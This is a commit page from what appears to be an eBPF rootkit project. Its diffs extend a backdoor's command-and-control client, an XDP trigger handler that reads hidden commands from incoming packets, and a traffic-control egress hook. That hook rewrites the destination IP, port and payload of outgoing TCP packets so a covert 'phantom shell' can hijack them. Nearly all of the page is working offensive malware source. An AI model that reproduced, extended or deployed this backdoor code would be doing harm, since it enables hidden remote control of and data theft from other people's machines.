Completed the TC Hook and payload enlargment and substitution mechanisms. Only the packet recognition on the client side remains to work

This commit is contained in:
h3xduck
2022-05-11 17:31:38 -04:00
parent 567d8d706c
commit 28ed530aea
12 changed files with 2856 additions and 2801 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -135,6 +135,8 @@ int phantom_shell_mode(char* buf, char* local_ip, char* dest){
} }
}else if(strncmp(buf, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){ }else if(strncmp(buf, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){
printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request); printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request);
}else if(strncmp(buf, CC_PROT_PHANTOM_SHELL_INIT, strlen(CC_PROT_PHANTOM_SHELL_INIT))==0){
printf("[" KGRN "INIT" RESET "]""The backdoor just signaled that everything is ready and working!");
}else{ }else{
//If at this point, then we failed to identify the backdoor message //If at this point, then we failed to identify the backdoor message
//We attempt to send a final message indicating we are halting the connection //We attempt to send a final message indicating we are halting the connection

Binary file not shown.

Binary file not shown.

View File

@@ -12,6 +12,7 @@
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART #define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
#define CC_PROT_BASH_COMMAND_REQUEST "CC_COMM_RQ#" #define CC_PROT_BASH_COMMAND_REQUEST "CC_COMM_RQ#"
#define CC_PROT_BASH_COMMAND_RESPONSE "CC_COMM_RS#" #define CC_PROT_BASH_COMMAND_RESPONSE "CC_COMM_RS#"
#define CC_CLIENT_SECRET_COMMANDING_PORT_DEFAULT 8000
//C&C V1 & V2 --> bpv47-like trigger + encrypted shell in V2 //C&C V1 & V2 --> bpv47-like trigger + encrypted shell in V2
#define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10 #define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10

View File

@@ -24,7 +24,7 @@ SEC("classifier/egress")
int classifier_egress(struct __sk_buff *skb){ int classifier_egress(struct __sk_buff *skb){
void *data = (void *)(__u64)skb->data; void *data = (void *)(__u64)skb->data;
void *data_end = (void *)(__u64)skb->data_end; void *data_end = (void *)(__u64)skb->data_end;
bpf_printk("TC egress classifier called\n"); //bpf_printk("TC egress classifier called\n");
//We are interested on parsing TCP/IP packets so let's assume we have one //We are interested on parsing TCP/IP packets so let's assume we have one
//Ethernet header //Ethernet header
@@ -57,12 +57,13 @@ int classifier_egress(struct __sk_buff *skb){
return TC_ACT_OK; return TC_ACT_OK;
} }
//We now proceed to scan for our backdoor packets //We must avoid tampering with packets directed to 9000, this is just
/*__u16 dest_port = ntohs(tcp->dest); //for testing in lo, since it makes us modify the trigger
if(dest_port != SECRET_PACKET_DEST_PORT){ __u16 src_port = ntohs(tcp->source);
if(src_port == CC_CLIENT_SECRET_COMMANDING_PORT_DEFAULT){
bpf_printk("PORT CHECK\n"); bpf_printk("PORT CHECK\n");
return TC_ACT_OK; return TC_ACT_OK;
}*/ }
bpf_printk("Detected bounds: data:%llx, data_end:%llx", data, data_end); bpf_printk("Detected bounds: data:%llx, data_end:%llx", data, data_end);
bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp); bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
@@ -89,13 +90,12 @@ int classifier_egress(struct __sk_buff *skb){
if(ps_data == (void*)0){ if(ps_data == (void*)0){
//Phantom shell not active //Phantom shell not active
bpf_printk("Phantom shell NOT active yet\n"); bpf_printk("Phantom shell NOT active yet\n");
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY); /*int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
if(err<0){ if(err<0){
bpf_printk("Fail to update map\n"); bpf_printk("Fail to update map\n");
} }*/
return TC_ACT_OK; return TC_ACT_OK;
} }else if(ps_data->active == 0){
if(ps_data->active == 0){
bpf_printk("Phantom shell NOT active right now\n"); bpf_printk("Phantom shell NOT active right now\n");
return TC_ACT_OK; return TC_ACT_OK;
} }
@@ -109,42 +109,49 @@ int classifier_egress(struct __sk_buff *skb){
if(err<0){ if(err<0){
bpf_printk("Fail to update map\n"); bpf_printk("Fail to update map\n");
} }
bpf_printk("Phantom shell active now, A:%i IP:%i P:%i\n", ps_data->active, ps_data->d_ip, ps_data->d_port); bpf_printk("Phantom shell active now, A:%i IP:%x P:%x\n", ps_data->active, ps_data->d_ip, ps_data->d_port);
bpf_printk("Phantom shell param payload: %s\n", ps_data->payload);
__u32 new_ip = ps_data->d_ip; __u32 new_ip = ps_data->d_ip;
__u16 new_port = ps_data->d_port; __u16 new_port = ps_data->d_port;
__u32 offset_ip = offsetof(struct iphdr, saddr)+ sizeof(struct ethhdr); __u32 offset_ip = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr);
__u16 offset_port = offsetof(struct tcphdr, source)+ sizeof(struct ethhdr) + sizeof(struct iphdr); __u32 offset_port = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
//bpf_printk("Payload: %s\n", payload);
//TODO, adjust the length to the new payload. Verifier complains a lot so we will keep it like this for now
__u32 increment_len = sizeof(char)*64;
bpf_printk("offset ip: %u\n", offset_ip); bpf_printk("offset ip: %u\n", offset_ip);
int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), BPF_F_RECOMPUTE_CSUM); int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), 0);
if (ret < 0) { if (ret < 0) {
bpf_printk("Failed to overwrite destination ip: %d\n", ret); bpf_printk("Failed to overwrite destination ip: %d\n", ret);
return TC_ACT_OK; return TC_ACT_OK;
} }
bpf_printk("offset port: %u\n", offset_port); bpf_printk("offset port: %u\n", offset_port);
ret = bpf_skb_store_bytes(skb, offset_port, &new_port, sizeof(__u16), BPF_F_RECOMPUTE_CSUM); ret = bpf_skb_store_bytes(skb, offset_port, &new_port, sizeof(__u16), 0);
if (ret < 0) { if (ret < 0) {
bpf_printk("Failed to overwrite destination port: %d\n", ret); bpf_printk("Failed to overwrite destination port: %d\n", ret);
return TC_ACT_OK; return TC_ACT_OK;
} }
//We want to substitute the payload too. ret = bpf_skb_change_tail(skb, skb->len+increment_len, 0);
bpf_printk("Payload: %s\n", payload);
if(payload_size>=64){
return TC_ACT_OK;
}
ret = bpf_skb_change_tail(skb, 64-payload_size, 0);
if (ret < 0) { if (ret < 0) {
bpf_printk("Failed to enlarge the packet (via tail): %d\n", ret); bpf_printk("Failed to enlarge the packet (via tail): %d\n", ret);
return TC_ACT_OK; return TC_ACT_OK;
} }
ret = bpf_skb_pull_data(skb, 0);
if(ret<0){
bpf_printk("Failed to pull data\n");
}
//After changing the packet bounds, all the boundaries must be check again //After changing the packet bounds, all the boundaries must be check again
data = (void *)(__u64)skb->data;
data_end = (void *)(__u64)skb->data_end;
eth = data; eth = data;
if ((void *)eth + sizeof(struct ethhdr) > data_end){ if ((void *)eth + sizeof(struct ethhdr) > data_end){
bpf_printk("ETH\n"); bpf_printk("ETH\n");
return TC_ACT_OK; return TC_ACT_OK;
} }
ip = (struct iphdr*)(data + sizeof(struct ethhdr)); ip = (struct iphdr*)(data + sizeof(struct ethhdr));
if ((void *)ip + sizeof(struct iphdr) > data_end){ if ((void *)ip + sizeof(struct iphdr) > data_end){
bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end); bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
@@ -155,17 +162,49 @@ int classifier_egress(struct __sk_buff *skb){
bpf_printk("TCP CHECK\n"); bpf_printk("TCP CHECK\n");
return TC_ACT_OK; return TC_ACT_OK;
} }
if(eth == (void*)0 || tcp == (void*)0 || ip == (void*)0){
return TC_ACT_OK;
}
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4); payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
payload = data_end - payload_size; payload = data_end - payload_size;
if(payload<(char*)data || payload_size>=sizeof(char)*64){ if(payload_size>=sizeof(char)*64){
return TC_ACT_OK;
}
if(data>data_end){
return TC_ACT_OK; return TC_ACT_OK;
} }
ret = bpf_skb_store_bytes(skb, payload-(char*)data, ps_data->payload, (sizeof(char)*64)-payload_size, BPF_F_RECOMPUTE_CSUM); __u32 offset = skb->len-payload_size-increment_len;
if (ret < 0) { if(ps_data==(void*)0){
bpf_printk("Failed to overwrite destination port: %d\n", ret);
return TC_ACT_OK; return TC_ACT_OK;
} }
if(increment_len>skb->data_end-skb->data){
return TC_ACT_OK;
}
if(skb->data_end < skb->data + increment_len){
return TC_ACT_OK;
}
//Simple strlen
__u32 payload_char_len = 0;
for(int ii=0; ii<64; ii++){
if(ps_data->payload[ii]!='\0'){
payload_char_len++;
}else{
break;
}
}
if(payload_char_len>=increment_len|| payload_char_len<=0){
return TC_ACT_OK;
}
bpf_printk("New payload offset %i, writing %i bytes\n", offset, payload_char_len);
ret = bpf_skb_store_bytes(skb, offset, ps_data->payload, payload_char_len, 0);
if (ret < 0) {
bpf_printk("Failed to overwrite payload: %d\n", ret);
return TC_ACT_OK;
}
bpf_printk("Finished packet hijacking routine\n");
return TC_ACT_OK; return TC_ACT_OK;

View File

@@ -49,7 +49,7 @@ static __always_inline int execute_key_command(int command_received, __u32 ip, _
} }
static __always_inline int manage_backdoor_trigger_v1(char* payload, __u32 payload_size){ static __always_inline int manage_backdoor_trigger_v1(char* payload, __u32 payload_size, __u32 s_ip, __u16 s_port){
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN]; char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
char section2[CC_TRIGGER_SYN_PACKET_SECTION_LEN]; char section2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
char section3[CC_TRIGGER_SYN_PACKET_SECTION_LEN]; char section3[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
@@ -166,10 +166,8 @@ backdoor_finish:
//If we reach this point then we received trigger packet //If we reach this point then we received trigger packet
bpf_printk("Finished backdoor V1 check with success\n"); bpf_printk("Finished backdoor V1 check with success\n");
__u32 ip; __u32 ip = s_ip;
__u16 port; __u16 port = s_port;
__builtin_memcpy(&ip, payload+0x01, sizeof(__u32));
__builtin_memcpy(&port, payload+0x05, sizeof(__u16));
execute_key_command(command_received, ip, port); execute_key_command(command_received, ip, port);

View File

@@ -104,7 +104,7 @@ int xdp_receive(struct xdp_md *ctx){
bpf_printk("G"); bpf_printk("G");
return XDP_PASS; return XDP_PASS;
} }
return manage_backdoor_trigger_v1(payload, payload_size); return manage_backdoor_trigger_v1(payload, payload_size, ip->saddr, tcp->source);
} }
//Check for rootkit backdoor trigger V3 - stream of SYN packets with hidden payload //Check for rootkit backdoor trigger V3 - stream of SYN packets with hidden payload
if(tcp->syn == 1){ if(tcp->syn == 1){

BIN
src/tc.o

Binary file not shown.

View File

@@ -149,7 +149,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
data.d_ip = e->bps_data.d_ip; data.d_ip = e->bps_data.d_ip;
data.d_port = e->bps_data.d_port; data.d_port = e->bps_data.d_port;
memcpy(data.payload, e->bps_data.payload, 64); memcpy(data.payload, e->bps_data.payload, 64);
printf("Post value: %i, %i, %i\n", data.active, data.d_ip, data.d_port); printf("Post value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0); bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
}else{ }else{
printf("%s COMMAND pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message); printf("%s COMMAND pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);